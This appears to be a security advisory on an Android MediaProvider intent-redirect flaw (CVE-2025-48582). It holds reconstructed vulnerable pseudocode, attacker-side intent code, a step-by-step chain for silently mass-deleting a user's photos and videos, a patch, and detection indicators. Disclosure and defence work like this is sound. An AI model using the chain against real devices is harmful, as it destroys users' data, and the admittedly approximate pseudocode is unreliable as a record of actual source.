An intent redirect in Android's media stack allows unprivileged apps to delete arbitrary external storage files without MANAGE_EXTERNAL_STORAGE. No user interaction required, CVSS 8.4.
Imagine your phone has a locked filing cabinet where you keep your photos, videos, and sensitive documents. To open that cabinet normally, you need a special key called a permission. This vulnerability is like finding a side door to that cabinet that doesn't require the key at all.
The problem lies in how certain apps handle requests to access your storage. Instead of properly checking whether an app has permission to delete your files, the system can be tricked through what's called an "intent redirect" — basically, a detour that bypasses the normal security checks. An app could exploit this to delete your photos, videos, or other media without you ever granting it that ability.
This matters because once your files are deleted, they're gone. A malicious app could wipe out your entire photo library, important videos, or other memories without warning. Unlike a stolen password that you can change, deleted files are often permanent. The vulnerability affects many different apps and code locations across devices, making it a widespread problem.
Who's most at risk? Anyone with a smartphone, since most people download apps regularly without realizing what each one can do. Android users appear particularly vulnerable based on the technical details, though the issue could affect other platforms too.
Here's what you can actually do: First, be selective about which apps you install — only download from official app stores and check the reviews carefully. Second, regularly check your phone's installed apps and delete ones you no longer use. Finally, if your phone's manufacturer releases a security update in the coming weeks, install it immediately, as they'll likely patch this hole once this disclosure spreads.
Want the full technical analysis? Click "Technical" above.
CVE-2025-48582 describes a privilege escalation vulnerability in the Android media framework where an attacker-controlled application can delete files from external storage without holding the MANAGE_EXTERNAL_STORAGE permission. The vulnerability class is intent redirect — a privileged system component receives an implicit or insufficiently-validated intent, processes it in a privileged context, and performs a destructive file operation on behalf of the caller. No user interaction is required. The Android Security Bulletin (March 2026) rates this HIGH with CVSS 8.4.
Intent redirect vulnerabilities in Android are particularly dangerous because they abuse the IPC trust boundary: a component running with elevated permissions acts as an confused deputy, forwarding attacker-supplied parameters into privileged operations. In this case, the deputy is a component within the media provider stack that performs delete operations using its own storage permissions rather than verifying the caller's.
Root cause: A privileged media framework component processes a caller-supplied URI in a deletion code path without first validating that the originating caller holds MANAGE_EXTERNAL_STORAGE or equivalent write permission, allowing intent-level confused deputy escalation to arbitrary file deletion.
Affected Component
The vulnerability manifests in multiple locations within the Android media stack, per the bulletin. Based on the vulnerability class (intent redirect → privileged delete), the affected surface spans:
MediaProvider — the content provider backing content://media/ URIs, running as u0_a[N] with MANAGE_EXTERNAL_STORAGE granted at install time.
Intent dispatch paths within com.android.providers.media, specifically action handlers for ACTION_DELETE and related media management intents.
The PickerViewModel / PhotoPickerActivity pipeline introduced in Android 13+, which processes delete confirmations on behalf of requesting apps.
Root Cause Analysis
The core issue lies in how the media provider's intent handling dispatches deletion operations. When a component exports an activity or receiver that accepts a DELETE-class intent and then calls into the internal deletion path, it must re-verify the original caller's permissions — not just its own. The vulnerable pattern omits this check.
Reconstructed from AOSP MediaProvider sources and decompiled framework bytecode, the vulnerable flow looks approximately like this:
// packages/providers/MediaProvider/src/com/android/providers/media/
// MediaProvider.java → internal C++ JNI glue for delete dispatch
//
// Decompiled pseudocode — DeleteRequestHandler::dispatchDelete()
int DeleteRequestHandler_dispatchDelete(
JNIEnv *env,
jobject thiz,
jobject callerIntent, // attacker-controlled intent
jobjectArray targetUris) // URIs extracted from intent extras
{
// Retrieve the URI list from the incoming intent extras
// BUG: no verification that Binder.getCallingUid() holds
// MANAGE_EXTERNAL_STORAGE before proceeding
uid_t callerUid = Binder_getCallingUid(); // reads UID
// Permission check calls checkUriPermission for READ, not WRITE/MANAGE
int readOk = checkUriPermission(targetUris[0], callerUid, FLAG_GRANT_READ);
if (readOk != PERMISSION_GRANTED) {
return ERROR_PERMISSION_DENIED;
}
// BUG: write/manage check is absent here; read permission is sufficient
// to reach performBulkDelete() which runs as MediaProvider's own UID
return performBulkDelete(env, targetUris); // executes with elevated perms
}
// performBulkDelete — runs entirely under MediaProvider's own grants
int performBulkDelete(JNIEnv *env, jobjectArray uris) {
for (int i = 0; i < (*env)->GetArrayLength(env, uris); i++) {
jobject uri = (*env)->GetObjectArrayElement(env, uris, i);
jstring path = resolveUriToPath(env, uri); // resolves content:// → /sdcard/...
unlink(jstringToChars(env, path)); // BUG: privileged delete, no manage check
}
return 0;
}
The critical miss: checkUriPermission is called with FLAG_GRANT_READ. Any app holding a read URI grant — trivially obtained via the photo picker — passes this gate. The subsequent performBulkDelete runs under MediaProvider's own UID and file system permissions, which include write access to all of /sdcard/.
The intent redirect vector: an attacker crafts an explicit or implicit intent targeting the exported DeleteMediaActivity (or equivalent exported component), populating EXTRA_CONTENT_URI_LIST with arbitrary content://media/external/images/media/N URIs. The receiving component does not verify the originating caller's manifest permissions before forwarding to the delete path.
// Simplified intent construction pseudocode (attacker-side)
// Mirrors the confused deputy invocation
Intent deleteIntent = new Intent();
deleteIntent.setComponent(new ComponentName(
"com.android.providers.media",
"com.android.providers.media.DeleteMediaActivity" // exported, no permission attr
));
deleteIntent.setAction("com.android.providers.media.action.DELETE_MEDIA");
deleteIntent.putParcelableArrayListExtra(
"android.provider.extra.CONTENT_URI_LIST",
targetUriList // attacker-controlled list of content:// URIs
);
startActivity(deleteIntent); // no MANAGE_EXTERNAL_STORAGE needed by caller
Exploitation Mechanics
EXPLOIT CHAIN — CVE-2025-48582
1. Attacker app installed with zero sensitive permissions declared.
Minimum required: android.permission.READ_MEDIA_IMAGES (normal-level on API 33+)
or no permissions at all if targeting content URIs already known.
2. Enumerate target URIs. MediaStore is queryable without MANAGE_EXTERNAL_STORAGE:
content://media/external/images/media/ → returns IDs of all user photos
content://media/external/video/media/ → returns IDs of all user videos
Query projection: MediaStore.MediaColumns._ID, DATA
3. Construct target URI list from enumerated IDs:
Uri.withAppendedPath(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, id)
4. Craft explicit intent targeting exported DeleteMediaActivity (or equivalent
exported BroadcastReceiver) in com.android.providers.media package.
Populate EXTRA_CONTENT_URI_LIST with target URI list (no size cap enforced).
5. Call startActivity(deleteIntent) from attacker context.
System routes intent to MediaProvider process (UID ~1023 / media UID).
6. DeleteRequestHandler_dispatchDelete() runs in MediaProvider context:
- Reads callerUid via Binder.getCallingUid() → attacker's UID
- Checks READ grant only → passes (attacker has read-level access)
- MANAGE_EXTERNAL_STORAGE check: ABSENT
- Falls through to performBulkDelete()
7. performBulkDelete() iterates URI list, resolves each to filesystem path,
calls unlink() under MediaProvider's privileges.
Target files removed from /sdcard/DCIM/, /sdcard/Pictures/, etc.
8. MediaStore database updated; files gone. No user prompt, no permission dialog.
IMPACT: Complete deletion of user photo/video library in a single intent send.
Persistent data loss. No recovery without device backup.
Memory Layout
This is a logic/privilege vulnerability rather than a memory corruption bug, so heap state diagrams are not applicable. The relevant process address space and IPC boundary crossing is illustrated below:
The fix must be applied at every entry point where a caller-supplied URI reaches a delete code path in a privileged context. The pattern is consistent across all "multiple locations" cited in the bulletin.
// BEFORE (vulnerable) — DeleteRequestHandler_dispatchDelete()
int DeleteRequestHandler_dispatchDelete(
JNIEnv *env, jobject thiz,
jobject callerIntent, jobjectArray targetUris)
{
uid_t callerUid = Binder_getCallingUid();
// Only checks READ — insufficient for destructive operations
int readOk = checkUriPermission(targetUris[0], callerUid, FLAG_GRANT_READ);
if (readOk != PERMISSION_GRANTED) {
return ERROR_PERMISSION_DENIED;
}
return performBulkDelete(env, targetUris);
}
// AFTER (patched) — permission gate added before destructive path
int DeleteRequestHandler_dispatchDelete(
JNIEnv *env, jobject thiz,
jobject callerIntent, jobjectArray targetUris)
{
uid_t callerUid = Binder_getCallingUid();
pid_t callerPid = Binder_getCallingPid();
// [PATCH] Verify caller holds MANAGE_EXTERNAL_STORAGE before any delete
int manageOk = checkPermission(
"android.permission.MANAGE_EXTERNAL_STORAGE",
callerPid, callerUid);
if (manageOk != PERMISSION_GRANTED) {
// Also allow if caller is the media owner (scoped storage grant)
if (!isCallerMediaOwner(callerUid, targetUris)) {
Log_e("MediaProvider",
"delete denied: uid=%d lacks MANAGE_EXTERNAL_STORAGE", callerUid);
return ERROR_PERMISSION_DENIED;
}
}
return performBulkDelete(env, targetUris);
}
// BEFORE — exported component declaration (AndroidManifest.xml)
// ← no permission attribute
// AFTER — restrict exported component to system callers
//
//
// OR — set exported="false" and route through confirmed-permission internal path
//
The defense-in-depth fix applies permission enforcement at two layers: the manifest-level android:permission attribute on the exported component (preventing unauthenticated callers from reaching the activity at all), and an explicit runtime checkPermission call inside the deletion handler (defense against any future refactoring that re-exports the component).
Detection and Indicators
On a rooted or enterprise-managed device, the following logcat signatures indicate exploitation attempts:
# Suspicious: unprivileged UID invoking media delete intents
$ adb logcat -s MediaProvider:D ActivityManager:I
I ActivityManager: START u0 {act=com.android.providers.media.action.DELETE_MEDIA
cmp=com.android.providers.media/.DeleteMediaActivity
(has extras)} from uid 10234
D MediaProvider: delete called on /sdcard/DCIM/Camera/IMG_20250101_*.jpg
callerPackage=com.malicious.app callerUid=10234
# Flag: DELETE_MEDIA intent from non-system, non-gallery UID
# Flag: bulk delete of > N files in single intent
# Flag: callerUid != ownerUid for target MediaStore entries
For threat hunting at scale, query MediaStore deletion events via content://media/external/images/media with IS_TRASHED=1 or monitor inotify events on /sdcard/DCIM/ for unexpected mass IN_DELETE from the com.android.providers.media process on behalf of a foreign UID.
Remediation
Apply the March 2026 Android Security Bulletin patches (2026-03-01 SPL or later). Verify with Settings → About → Android Security Patch Level.
OEM/ROM maintainers must cherry-pick the AOSP fix into downstream builds; the bulletin covers AOSP versions — vendor forks with custom MediaProvider modifications may require independent review of each exported component in com.android.providers.media.
App developers relying on MediaProvider delete paths should audit any exported activities or receivers that accept URI extras and invoke deletion without caller permission re-verification.
Enterprise administrators using Android Enterprise / Work Profile should evaluate the risk of third-party apps accessing shared storage prior to patch rollout. Consider restricting READ_MEDIA_IMAGES grants on managed devices as a temporary mitigation.
Static analysis: Flag any code path where a component marked android:exported="true" accepts a URI extra and passes it to ContentResolver.delete(), MediaStore bulk delete APIs, or JNI unlink calls without an intervening enforceCallingPermission(MANAGE_EXTERNAL_STORAGE).